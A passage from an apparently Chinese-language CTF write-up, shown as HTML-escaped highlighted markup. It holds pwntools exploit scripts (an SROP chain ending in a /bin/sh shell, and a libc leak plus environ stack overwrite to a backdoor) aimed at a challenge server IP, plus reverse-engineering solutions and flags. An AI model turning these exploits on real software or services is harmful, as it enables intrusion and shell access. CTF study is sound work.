&lt;&#x2F;span&gt;&lt;span&gt;        elf.plt[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;read&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;],
&lt;&#x2F;span&gt;&lt;span&gt;        syscall,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(sigframe)
&lt;&#x2F;span&gt;&lt;span&gt;    ]})[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    p.send(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&#x2F;bin&#x2F;sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    elf_path&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;system_drop&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    context.binary &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;elf_path
&lt;&#x2F;span&gt;&lt;span&gt;    elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;178.62.77.109&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32598&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    main(p,elf)
&lt;&#x2F;span&gt;&lt;span&gt;    p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;save-the-environment&quot;&gt;Save the environment&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;recycle&lt;&#x2F;code&gt;函数可以泄露&lt;code&gt;printf&lt;&#x2F;code&gt;函数地址和任意地址读，&lt;code&gt;plant&lt;&#x2F;code&gt;函数可以任意地址写。程序内还有一个后门函数。&lt;&#x2F;p&gt;
&lt;p&gt;思路：泄露出来的libc地址-&amp;gt;任意读&lt;code&gt;environ&lt;&#x2F;code&gt;得到栈地址-&amp;gt;任意写将栈上的返回地址写成后门函数地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;typing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Union
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;IdaManage &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.rop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.context &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.fmtstr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.util.packing &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;context.log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;: Union[remote, process], &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;elf&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;isinstance&lt;&#x2F;span&gt;&lt;span&gt;(i,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;            p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(i))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,i)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;recycle&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;        s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;n&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;plant&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        s(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        s(addr)
&lt;&#x2F;span&gt;&lt;span&gt;        s(value)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        recycle()
&lt;&#x2F;span&gt;&lt;span&gt;    p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0x&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher().condition(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;printf&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;]&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)).elf()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        recycle()
&lt;&#x2F;span&gt;&lt;span&gt;    s(libc.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;environ&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;[0m&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recvline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;).ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x120
&lt;&#x2F;span&gt;&lt;span&gt;    plant(stack_addr,elf.sym[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;hidden_resources&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    elf_path&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;environment&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;    context.binary &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;elf_path
&lt;&#x2F;span&gt;&lt;span&gt;    elf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;ELF(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;178.62.77.109&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32598&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;process(elf_path)
&lt;&#x2F;span&gt;&lt;span&gt;    main(p,elf)
&lt;&#x2F;span&gt;&lt;span&gt;    p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{u_s4v3d_th3_3nv1r0n_v4r14bl3!}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;re&quot;&gt;Re&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;authenticator&quot;&gt;Authenticator&lt;&#x2F;h2&gt;
&lt;p&gt;就一个异或加密，关键部分源码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;__int64&lt;&#x2F;span&gt;&lt;span&gt; __fastcall &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;checkpin&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+14h] [rbp-1Ch]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;( i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;i )
&lt;&#x2F;span&gt;&lt;span&gt;  {
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;( ((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;unsigned __int8&lt;&#x2F;span&gt;&lt;span&gt;)aAVhAG8j89gvPDv[i] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; a1[i] )
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.join([&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;}a:Vh|}a:g}8j=}89gV&amp;lt;p&amp;lt;}:dV8&amp;lt;Vg9}V&amp;lt;9V&amp;lt;:j|{:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# CHTB{th3_auth3nt1c4t10n_5y5t3m_15_n0t_50_53cur3}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;passphrase&quot;&gt;passphrase&lt;&#x2F;h2&gt;
&lt;p&gt;IDA7.5直接生成了&lt;code&gt;qmemcpy&lt;&#x2F;code&gt;这个函数，就两次拼接，非常容易看出来。伪c代码:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; __cdecl &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;argc&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;argv&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;envp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; s1[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;23&lt;&#x2F;span&gt;&lt;span&gt;]; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+0h] [rbp-50h] BYREF
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; v5[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+17h] [rbp-39h] BYREF
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; s[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt;]; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+20h] [rbp-30h] BYREF
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;unsigned __int64&lt;&#x2F;span&gt;&lt;span&gt; v7; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; [rsp+48h] [rbp-8h]
&lt;&#x2F;span&gt;&lt;span&gt;
